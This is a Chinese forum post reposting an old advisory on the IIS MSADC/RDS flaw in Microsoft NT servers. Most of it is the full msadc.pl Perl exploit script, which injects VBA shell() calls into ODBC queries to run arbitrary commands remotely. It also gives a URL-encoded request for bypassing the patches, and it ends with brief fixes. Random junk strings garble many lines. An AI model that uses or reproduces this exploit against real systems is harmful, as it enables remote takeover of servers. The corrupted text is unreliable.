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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) PZk"!I<oN  
C^7M>i  
涉及程序: csj 4?]gI  
Microsoft NT server )}1S `*J/O  
b_']S0$c\  
描述: `ZGKM>q`  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 T[%@B"  
`c?8i  
详细: 5Y r$tl\k  
如果你没有时间读详细内容的话,就删除: mOntc6&]  
c:\Program Files\Common Files\System\Msadc\msadcs.dll Lrq e:\  
有关的安全问题就没有了。 RKb (  
~'0W(~Q8  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 TnJJ& "~3b  
lK3{~ \J-  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 @6%o0p9zz  
关于利用ODBC远程漏洞的描述,请参看: =i>i,>bv  
gXe`G( w  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm l(d3N4iz  
`u$lSGl  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 FY"csZ  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp TV~S#yg+H  
91M5F$  
这里不再论述。 ]}L tf,9  
Ao$|`Lgj=z  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: S@cKo&^  
(lt{$0   
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset ?wREX[Tqs  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! o ^""=Z  
30{WGc@l#  
~2[mZias  
#将下面这段保存为txt文件,然后: "perl -x 文件名" -`,F e3  
ahg]OWn#  
#!perl kHd`k.nW  
# :5_394v  
# MSADC/RDS 'usage' (aka exploit) script 'M,O(utGv  
# F&a)mpFv3c  
# by rain.forest.puppy dWiX_&g  
# N1Dr'aw*  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me R})b%y`]  
# beta test and find errors! 3o`c`;H%p  
Zx)gLDd  
use Socket; use Getopt::Std; }X~"RQf9  
getopts("e:vd:h:XR", \%args); fT.MglJcb  
l`."rei%)  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; bp>M&1^KY  
d0 ;<Cw~Tl  
if (!defined $args{h} && !defined $args{R}) { f47dB_{5f.  
print qq~ R7/ET"  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 6/.cS4  
-h <host> = host you want to scan (ip or domain) ^wz 2e  
-d <seconds> = delay between calls, default 1 second 2k!4oVUN  
-X = dump Index Server path table, if available Sh\Jm*5  
-v = verbose >J/8lS{#  
-e = external dictionary file for step 5 ]|_+lik#  
0A')zKik  
Or a -R will resume a command session dgT(]H  
E <\\/Q%w  
~; exit;} <aQ5chf7  
O3tw@ &k  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; id [caP=`  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} '3fN2[(  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} ~nb1c:F  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); ;lf$)3%[  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} lPw`KW  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } k(M(]y_  
@4=Az1W*  
if (!defined $args{R}){ $ret = &has_msadc; {!^0j{T  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} *M'/z=V?%  
dP=,<H#]m  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" V#X<Yt  
. "cmd /c "; >DR$}{IV  
$in=<STDIN>; chomp $in; WJy\{YAG  
$command="cmd /c " . $in ; j[Gg[7q{y  
|z?c>.  
if (defined $args{R}) {&load; exit;} fT{%zJU  
a(lmm@;V<  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; X=V2^zrt  
&try_btcustmr; 8=OpX,t(  
rUZ09>nDy  
print "\nStep 2: Trying to make our own DSN..."; +h8`8k'}-2  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; !Y10UmMu  
BbhC 0q"J  
print "\nStep 3: Trying known DSNs..."; .yB{+  
&known_dsn; RcOfesW o  
#U.6HBuQa  
print "\nStep 4: Trying known .mdbs..."; S=G2%u!;  
&known_mdb; 1v 4M*  
-|I_aOC@  
if (defined $args{e}){ )j. .)o  
print "\nStep 5: Trying dictionary of DSN names..."; pd-I^Q3-  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } c^stfFE&  
ydMSL25<+  
print "Sorry Charley...maybe next time?\n"; U04&z 91"  
exit; W0<2*7s  
 vUR gR  
############################################################################## Xn02p,,  
pO)5NbU  
sub sendraw { # ripped and modded from whisker kAq#cLprG  
sleep($delay); # it's a DoS on the server! At least on mine... myF/_o&Ty  
my ($pstr)=@_; KBa0  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || d ;i@9+  
die("Socket problems\n"); & l0LW,Bx  
if(connect(S,pack "SnA4x8",2,80,$target)){ $hy0U_}6  
select(S); $|=1; Q9i[?=F:z  
print $pstr; my @in=<S>; _gw paAJ  
select(STDOUT); close(S); Z=oGyA  
return @in; vbfQy2q  
} else { die("Can't connect...\n"); }} Z1{>"o:@  
o{3>n" \w3  
############################################################################## 0wt4C% .0  
~-#Jcw$+n=  
sub make_header { # make the HTTP request 9-!GYa'Z  
my $msadc=<<EOT ZE9.r`  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 yB|1?L#  
User-Agent: ACTIVEDATA 85lcd4&~  
Host: $ip biENRJQ.  
Content-Length: $clen C8D`:k  
Connection: Keep-Alive SGu`vN]  
 Z>pZ|  
ADCClientVersion:01.06 Q 3/J @MC  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 Y|buQQ|  
A=wG};%_  
--!ADM!ROX!YOUR!WORLD! )r?- _qj=  
Content-Type: application/x-varg sgRWjrc/  
Content-Length: $reqlen a%5/Oc[[  
<6+T&Ov6  
EOT 7"1]5\p^g  
; $msadc=~s/\n/\r\n/g; $g),|[ x+(  
return $msadc;} `pF7B6[B  
&Bqu2^^  
##############################################################################  HlEHk'  
dSe d 6  
sub make_req { # make the RDS request Mbn;~tY>  
my ($switch, $p1, $p2)=@_; z0Z1J8Qq6.  
my $req=""; my $t1, $t2, $query, $dsn; @2;cv?i)  
-d^'-s  
if ($switch==1){ # this is the btcustmr.mdb query N_/+B]r }T  
$query="Select * from Customers where City=" . make_shell(); {nw.bKq 7  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . =_CH$F!U  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} qg:EN~E#  
wo;OkJKF  
elsif ($switch==2){ # this is general make table query +.Xi7x+#O  
$query="create table AZZ (B int, C varchar(10))"; C[5dhFZ  
$dsn="$p1";} ^PUB~P/  
OY2u,LF9H  
elsif ($switch==3){ # this is general exploit table query ]^,!;do  
$query="select * from AZZ where C=" . make_shell(); "C?H:8W  
$dsn="$p1";} .y lvJ$  
[s{[ .0P]+  
elsif ($switch==4){ # attempt to hork file info from index server 'V &Tlw|  
$query="select path from scope()"; /f drf  
$dsn="Provider=MSIDXS;";} zO@>)@~  
Jt0U`_  
elsif ($switch==5){ # bad query o#=C[d5BV  
$query="select"; XlnSh<e  
$dsn="$p1";} ]B$J8.{q0  
a ,"   
$t1= make_unicode($query); G#M0 C>n  
$t2= make_unicode($dsn); }F"98s W  
$req = "\x02\x00\x03\x00"; P](8Qrl  
$req.= "\x08\x00" . pack ("S1", length($t1)); _3.rPS,s  
$req.= "\x00\x00" . $t1 ; `jVRabZ0  
$req.= "\x08\x00" . pack ("S1", length($t2)); ( 4# iLs  
$req.= "\x00\x00" . $t2 ; R:j mn  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; )sNPWn8<Uy  
return $req;} =3!o _  
p$uPj*  
############################################################################## |(AFU3 ~  
O<E8,MCA[a  
sub make_shell { # this makes the shell() statement VJ?>o  
return "'|shell(\"$command\")|'";} +bT[lJ2O>G  
X?XB!D7[  
############################################################################## K)5j  
aNA ]hl  
sub make_unicode { # quick little function to convert to unicode ,HI% ym  
my ($in)=@_; my $out; Io[NN aF|  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } Qqx!'fft  
return $out;} Cy *.pzCi  
[P6m8%Y|s  
############################################################################## p_X{'=SQ1  
m)3M)8t  
sub rdo_success { # checks for RDO return success (this is kludge) K/j u=>  
my (@in) = @_; my $base=content_start(@in); OzwJ 52  
if($in[$base]=~/multipart\/mixed/){ \j5`6}zm  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} BC\W`K  
return 0;} "eqzn KT%u  
'GT^araz  
############################################################################## '#=0q  
%V+"i_{m  
sub make_dsn { # this makes a DSN for us :HwdXhA6  
my @drives=("c","d","e","f"); >239SyC-,  
print "\nMaking DSN: "; -e_o p'`  
foreach $drive (@drives) { Js vdC]+  
print "$drive: "; [cco/=c  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . lcy<taNu)  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" j9l32<h7]  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); 3 ^K#\*P  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 5-y*]:g(  
return 0 if $2 eq "404"; # not found/doesn't exist ,II3b( l  
if($2 eq "200") { O6vxp?:^  
foreach $line (@results) { /|<S D.:  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} jM @N<k  
} return 0;} 0{ ~2mggh  
L`X5\D'X  
############################################################################## VBw 5[  
841y"@*BY  
sub verify_exists { ZO/u3&gU  
my ($page)=@_; e([>sAx!1  
my @results=sendraw("GET $page HTTP/1.0\n\n"); ([}08OW@  
return $results[0];} 9[;da  
}WaZ+Mdg\  
############################################################################## 9t6c*|60#n  
9x|`XAB  
sub try_btcustmr { YB<nz<;JR  
my @drives=("c","d","e","f"); m C`*#[  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Y;%LwDC  
)Jdku}Pf  
foreach $dir (@dirs) { \$*CXjh3G  
print "$dir -> "; # fun status so you can see progress w;j<$<4=7  
foreach $drive (@drives) { >TY;l3ew  
print "$drive: "; # ditto _U-`/r o  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 0y+^{@lU  
$reqlenlen=length( "$reqlen" ); @!u{>!~0  
$clen= 206 + $reqlenlen + $reqlen; b9m`y*My  
GqR|hg  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); o-7{\%+M  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} yNow hh  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} p6K~b  
?|+e*{4k  
############################################################################## 2[HPU M2>  
$#p5BQQ|  
sub odbc_error { 6<$.Z-,  
my (@in)=@_; my $base; q?dd5JzZy,  
my $base = content_start(@in); x\(#  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this ENIg_s4  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; q4&! mDU  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; A[ncwJ  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; MP)Prl>  
return $in[$base+4].$in[$base+5].$in[$base+6];} lwrh4<~\,*  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; r)>3YM5  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . [rWBVfm  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} =gD)j&~}_  
X%j`rQk`  
############################################################################## yF? O+9R A  
"a(4])  
sub verbose { !Q15qvRS  
my ($in)=@_; *DC/O( 0  
return if !$verbose; 1n[)({OQ  
print STDOUT "\n$in\n";} 8.n#@%  
?]$<Ufr  
############################################################################## Qn.dL@W  
_,)_(R ,h  
sub save { kN Ll|in@  
my ($p1, $p2, $p3, $p4)=@_; lZL+j6Q  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; H-+U^@w  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; fmj}NV&ma  
close OUT;} n qO*z<  
WA~[) S0  
############################################################################## $wp>2  
-X!<$<\y;  
sub load { ;!A8A4~nu  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; Z@Zg3AVU  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); q+9->D(6  
@p=<IN>; close(IN); F |BY]{  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); bs?\ )R5/  
$target= inet_aton($ip) || die("inet_aton problems"); `G1"&q,i  
print "Resuming to $ip ..."; 8wvHg_U6W  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; o>C,Db~L/  
if($p[1]==1) { 2HmK['(  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; m~AAO{\:b  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; V [g^R*b  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); ][jwy-Uy;  
if (rdo_success(@results)){print "Success!\n";} ;_c&J&I  
else { print "failed\n"; verbose(odbc_error(@results));}} =VzJ>!0  
elsif ($p[1]==3){ [0y,K{8t  
if(run_query("$p[3]")){ |ymW0gh7o$  
print "Success!\n";} else { print "failed\n"; }} or3OLBf*Q  
elsif ($p[1]==4){ '`2'<^yO  
if(run_query($drvst . "$p[3]")){ g;'S5w9S  
print "Success!\n"; } else { print "failed\n"; }} # o/;du  
exit;} .1RQ}Ro,<  
hdx_Tduue  
############################################################################## JAd .\2%Y  
/y{: N  
sub create_table { jmwN1Se>  
my ($in)=@_; &uRT/+18W3  
$reqlen=length( make_req(2,$in,"") ) - 28; P"^Yx8L#  
$reqlenlen=length( "$reqlen" ); <q!HY~"V  
$clen= 206 + $reqlenlen + $reqlen; ,HTwEq>-G  
my @results=sendraw(make_header() . make_req(2,$in,"")); R9R~$@~G  
return 1 if rdo_success(@results); mMwV5\(  
my $temp= odbc_error(@results); verbose($temp); syW[uXNLZ  
return 1 if $temp=~/Table 'AZZ' already exists/; x5uz$g  
return 0;} ^UJIDg7zS  
xOKJOl  
############################################################################## yO7y`;Q(sF  
DdI%TU K,  
sub known_dsn { W9Azp8)p]  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go X-(( [A  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 81x/ bx@L%  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", :XFQ}Cl  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); LF!KP  
\O"H#gt  
foreach $dSn (@dsns) { y,`n9[$K\  
print "."; = K}Pfh  
next if (!is_access("DSN=$dSn")); PL&> p M  
if(create_table("DSN=$dSn")){ [-VH%OM  
print "$dSn successful\n"; j!i* &  
if(run_query("DSN=$dSn")){ I F6$@Q  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 8|)!E`TKSV  
print "Something's borked. Use verbose next time\n";}}} print "\n";} M?sax+'  
:?zq!  
############################################################################## z0 /+P  
Z40k>t D  
sub is_access { _lkVT']  
my ($in)=@_; 0SYJ*7lPX  
$reqlen=length( make_req(5,$in,"") ) - 28; 2~f*o^%l  
$reqlenlen=length( "$reqlen" ); KPO w  
$clen= 206 + $reqlenlen + $reqlen; E/oLE^yL  
my @results=sendraw(make_header() . make_req(5,$in,"")); -c?x5/@3  
my $temp= odbc_error(@results); onSt%5{P%X  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); ?wG  
return 0;} i /[{xRXiR  
,Ohhl`q(  
############################################################################## `)y ;7%-  
V[kJ;YLPN  
sub run_query { @NA+Ma{N  
my ($in)=@_; vc|tp_M67  
$reqlen=length( make_req(3,$in,"") ) - 28; W vB]Rs  
$reqlenlen=length( "$reqlen" ); g]L8Jli  
$clen= 206 + $reqlenlen + $reqlen; *uRDB9#9,  
my @results=sendraw(make_header() . make_req(3,$in,"")); E*5aLT5!,  
return 1 if rdo_success(@results); * cW%Q@lit  
my $temp= odbc_error(@results); verbose($temp); ^-PYP:*  
return 0;} "r@#3T$  
5}hQIO&^%  
############################################################################## A+M4=  
oCOv 6(  
sub known_mdb { {z_cczJ-  
my @drives=("c","d","e","f","g"); yJC: bD1xi  
my @dirs=("winnt","winnt35","winnt351","win","windows"); /c=8$y\%@  
my $dir, $drive, $mdb; >oJab R  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; c Q-#]  
A'jL+dI.  
# this is sparse, because I don't know of many W)r|9G8T  
my @sysmdbs=( "\\catroot\\icatalog.mdb", mv:@D  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", jRC{8^98  
"\\system32\\certmdb.mdb", \Qah*1  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% jm<^WQ%Cc  
Ry X11XU  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", *(yw6(9%  
"\\cfusion\\cfapps\\forums\\forums_.mdb", w,j!%N  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", N7"cMAs\G  
"\\cfusion\\cfapps\\security\\realm_.mdb", 2Xv}JPS2As  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", >x6\A7  
"\\cfusion\\database\\cfexamples.mdb", t=Rl`1 =(K  
"\\cfusion\\database\\cfsnippets.mdb", 3Y)z{o>P  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", >Um(gbG  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", jG `PyIgw  
"\\cfusion\\brighttiger\\database\\cleam.mdb", #@BhGB`9Qt  
"\\cfusion\\database\\smpolicy.mdb", yxu7YGp%  
"\\cfusion\\database\cypress.mdb", |khFQ(  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", h='&^1  
"\\website\\cgi-win\\dbsample.mdb", "" ^n^$  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", /7S g/d%c  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" 2 oL$I(83  
); #these are just C<a&]dN/  
foreach $drive (@drives) { &?QKWxN  
foreach $dir (@dirs){ sYXLVJ>b  
foreach $mdb (@sysmdbs) { E.m2- P;4  
print "."; >V)#y$Z  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ apJXRH`  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; "})OLa  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ V_$<^z|  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; '>|K d{J0  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 09vVCM;DY  
a+v.(mCG  
foreach $drive (@drives) { sSKD"  
foreach $mdb (@mdbs) { )UU`uzU;u  
print "."; B=W#eu <1  
if(create_table($drv . $drive . $dir . $mdb)){ 3'L =S  
print "\n" . $drive . $dir . $mdb . " successful\n"; :dipk,b?n  
if(run_query($drv . $drive . $dir . $mdb)){ qm_r~j  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; zp9lu B  
} else { print "Something's borked. Use verbose next time\n"; }}}} :yJ#yad  
} 3<)][<Ud  
(bI/s'?K  
############################################################################## w8q 2f-K-  
F# 9^RA)9  
sub hork_idx { 90abA,U@  
print "\nAttempting to dump Index Server tables...\n"; <n k/w5nKL  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; #o~C0`8!B=  
$reqlen=length( make_req(4,"","") ) - 28; %?V~7tHm>  
$reqlenlen=length( "$reqlen" ); _M8'~$Sg  
$clen= 206 + $reqlenlen + $reqlen; EVqqOp1$v4  
my @results=sendraw2(make_header() . make_req(4,"","")); au=@]n#<(  
if (rdo_success(@results)){ W^HE1Dt]  
my $max=@results; my $c; my %d; a|y'-r90  
for($c=19; $c<$max; $c++){ #G(ivRo  
$results[$c]=~s/\x00//g; 8H};pu2  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; e:MbMj6`  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; /: -&b#+  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; ,\+N}F^  
$d{"$1$2"}="";} Y<Ae_yLa  
foreach $c (keys %d){ print "$c\n"; } mmjWLrhlu  
} else {print "Index server doesn't seem to be installed.\n"; }} ?vWF[ DRd'  
{l/`m.Z  
############################################################################## 1jzu-s ,F  
G 9 &,`  
sub dsn_dict { 7ieAd/:_  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); w ?"M  
while(<IN>){ (O!CH N!:  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; g*_n|7pB  
next if (!is_access("DSN=$dSn")); }vP(SF 6  
if(create_table("DSN=$dSn")){ O`_, _  
print "$dSn successful\n"; )j}#6r  
if(run_query("DSN=$dSn")){ )J yB  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { LrdED[Z  
print "Something's borked. Use verbose next time\n";}}} @6!Myez'  
print "\n"; close(IN);} ]T5\LNyN  
|DsT $ ~D  
############################################################################## Dh}d-m_5  
 Uv<nJM  
sub sendraw2 { # ripped and modded from whisker _@)-#7  
sleep($delay); # it's a DoS on the server! At least on mine... b O}&i3.L;  
my ($pstr)=@_; k]-Q3 V  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ;c|_z 9+  
die("Socket problems\n"); l%0-W  
if(connect(S,pack "SnA4x8",2,80,$target)){ c*<BU6y  
print "Connected. Getting data"; "ig)7X+Wz|  
open(OUT,">raw.out"); my @in; ~A%+oa*2~  
select(S); $|=1; print $pstr; ?c"i V  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} M|@@ LJ'  
close(OUT); select(STDOUT); close(S); return @in; b!J?>du  
} else { die("Can't connect...\n"); }} G[`2Nd<  
PD^ 6Ywn>s  
############################################################################## eq"Xwq*  
vqoK9  
sub content_start { # this will take in the server headers 8ZjRMr}  
my (@in)=@_; my $c; `{IL.9M!f  
for ($c=1;$c<500;$c++) { ' qT\I8%  
if($in[$c] =~/^\x0d\x0a/){ 9zx9t  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } p74Nd4U$s  
else { return $c+1; }}}  |#xBC+  
return -1;} # it should never get here actually 805oV(-  
P%R9\iajH  
############################################################################## ;ioF'ov  
Zf??/+[  
sub funky { fpO2bD%$8  
my (@in)=@_; my $error=odbc_error(@in); l  LBzY`j  
if($error=~/ADO could not find the specified provider/){ c1R[Hck  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; H<nA*Zf2@R  
exit;} XN\rq=  
if($error=~/A Handler is required/){ #Rs5W  
print "\nServer has custom handler filters (they most likely are patched)\n"; QAl4w)F  
exit;} 6N Ogi  
if($error=~/specified Handler has denied Access/){ IY!8j$'|  
print "\nServer has custom handler filters (they most likely are patched)\n"; (6 }7z+  
exit;}} :1"k`AG  
W"t^t|H'~  
############################################################################## b>#dMRK  
;/ |tU o$  
sub has_msadc { psiuoYf  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); heWQPM|s  
my $base=content_start(@results); IZQ*D)  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); n8\88d  
return 0;} K2v[_a~@  
?-0, x|ul  
######################## E 8$S0u;`  
y5^OD63s  
&b%2Jx[+  
解决方案: {C8IYBm  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll pP"j|  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 z7P~SM  
[yc7F0Aw  
拿出来充数 哈哈
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